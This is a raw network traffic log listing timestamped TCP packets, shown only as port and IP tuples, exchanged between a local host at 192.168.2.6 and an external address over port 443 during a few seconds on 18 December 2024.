Dec 18, 2024 13:36:02.077754974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.077790976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.077812910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.086589098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.086611032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.086659908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.086678982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.086689949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.087866068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.094574928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.094595909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.094634056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.094645977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.094659090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.094682932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.102524042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.102545023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.102587938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.102600098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.102654934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.110495090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.110515118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.110610008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.110622883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.110661983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.118843079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.118940115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.118954897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.119014025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.126732111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.126796961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.126806021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.126826048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.126847982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.126868010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.262433052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.262501955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.262559891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.262592077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.262603045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.262804031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.269155979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.269206047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.269234896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.269243002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.269268036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.269282103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.275528908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.275573015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.275609970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.275619984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.275635004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.275661945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.281999111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.282044888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.282071114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.282078981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.282111883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.282130957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.288305998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.288350105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.288413048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.288424969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.288433075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.288619995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.295689106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.295736074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.295778036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.295784950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.295795918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.295846939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.301075935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.301116943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.301136971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.301141977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.301191092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.307435989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.307478905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.307498932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.307506084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.307554960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.454560041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.454631090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.454663992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.454694986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.454708099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.454734087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.461317062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.461370945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.461429119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.461539984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.461591959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.461591959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.467828035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.467883110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.467921972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.467931986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.467959881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.467977047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.474109888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.474158049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.474185944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.474191904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.474240065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.480504036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.480566025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.480583906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.480597973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.480624914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.480649948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.486776114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.486794949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.486862898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.486888885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.486928940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.493069887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.493088007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.493160963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.493187904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.493228912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.500549078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.500574112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.500639915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.500665903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.500713110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.646867990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.646894932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.646986008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.647037983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.647078037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.653501987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.653527021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.653572083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.653597116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.653613091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.653639078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.660775900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.660798073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.660864115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.660888910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.661092997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.668375015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.668412924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.668468952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.668492079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.668538094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.673827887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.673845053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.673907042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.673928976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.673994064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.679893017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.679913044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.679970980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.679992914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.680286884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.686173916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.686192036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.686254978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.686275959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.686316967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.692570925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.692589045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.692650080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.692672014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.692898989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.839291096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.839324951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.839376926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.839415073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.839428902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.839452982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.845417023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.845436096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.845479012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.845506907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.845518112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.845550060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.852874041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.852896929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.852938890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.852961063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.852973938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.852998018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.859755993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.859772921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.859834909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.859855890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.859879017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.859895945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.865564108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.865581989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.865649939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.865674019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.865726948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.871860027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.871877909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.871936083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.871959925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.872005939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.878972054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.878989935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.879051924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.879074097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.879209042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.884819984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.884836912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.884887934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.884907007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:02.884921074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:02.884942055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.031013966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.031048059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.031115055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.031160116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.031177044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.031438112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.037769079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.037798882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.037839890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.037854910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.037868977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.037900925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.045017958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.045036077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.045120001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.045120001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.045131922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.045171022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.051403046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.051419020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.051490068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.051517010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.051557064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.057699919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.057718039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.057785034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.057804108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.058062077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.064284086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.064304113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.064352989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.064367056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.064392090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.064410925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.071433067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.071450949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.071497917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.071512938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.071540117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.071558952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.077858925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.077877998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.077927113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.077936888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.077963114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.077979088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.223632097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.223658085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.223809958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.223834038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.226016045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.229907036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.229934931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.230041981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.230041981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.230056047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.230089903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.237730026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.237755060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.237858057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.237871885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.241873980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.243747950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.243772030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.243829966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.243839025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.243866920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.243882895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.249893904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.249911070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.249995947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.250006914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.254641056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.256274939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.256294012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.256351948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.256360054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.256987095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.263175964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.263261080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.263288975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.263341904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.269009113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.269026041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.269108057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.269123077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.270726919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.415769100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.415791035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.415874958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.415909052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.418385029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.422004938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.422025919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.422076941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.422087908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.422122955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.422132015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.429402113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.429419994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.429495096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.429507971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.429546118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.435745955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.435764074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.435863018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.435877085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.438692093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.442158937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.442177057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.442245960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.442255974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.446142912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.448508978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.448527098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.448571920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.448581934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.448610067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.448623896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.454850912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.454868078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.454922915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.454952955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.454969883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.455013037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.461215019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.461232901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:03.461303949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:03.461314917 CET	443	49728	118.107.29.172	192.168.2.6
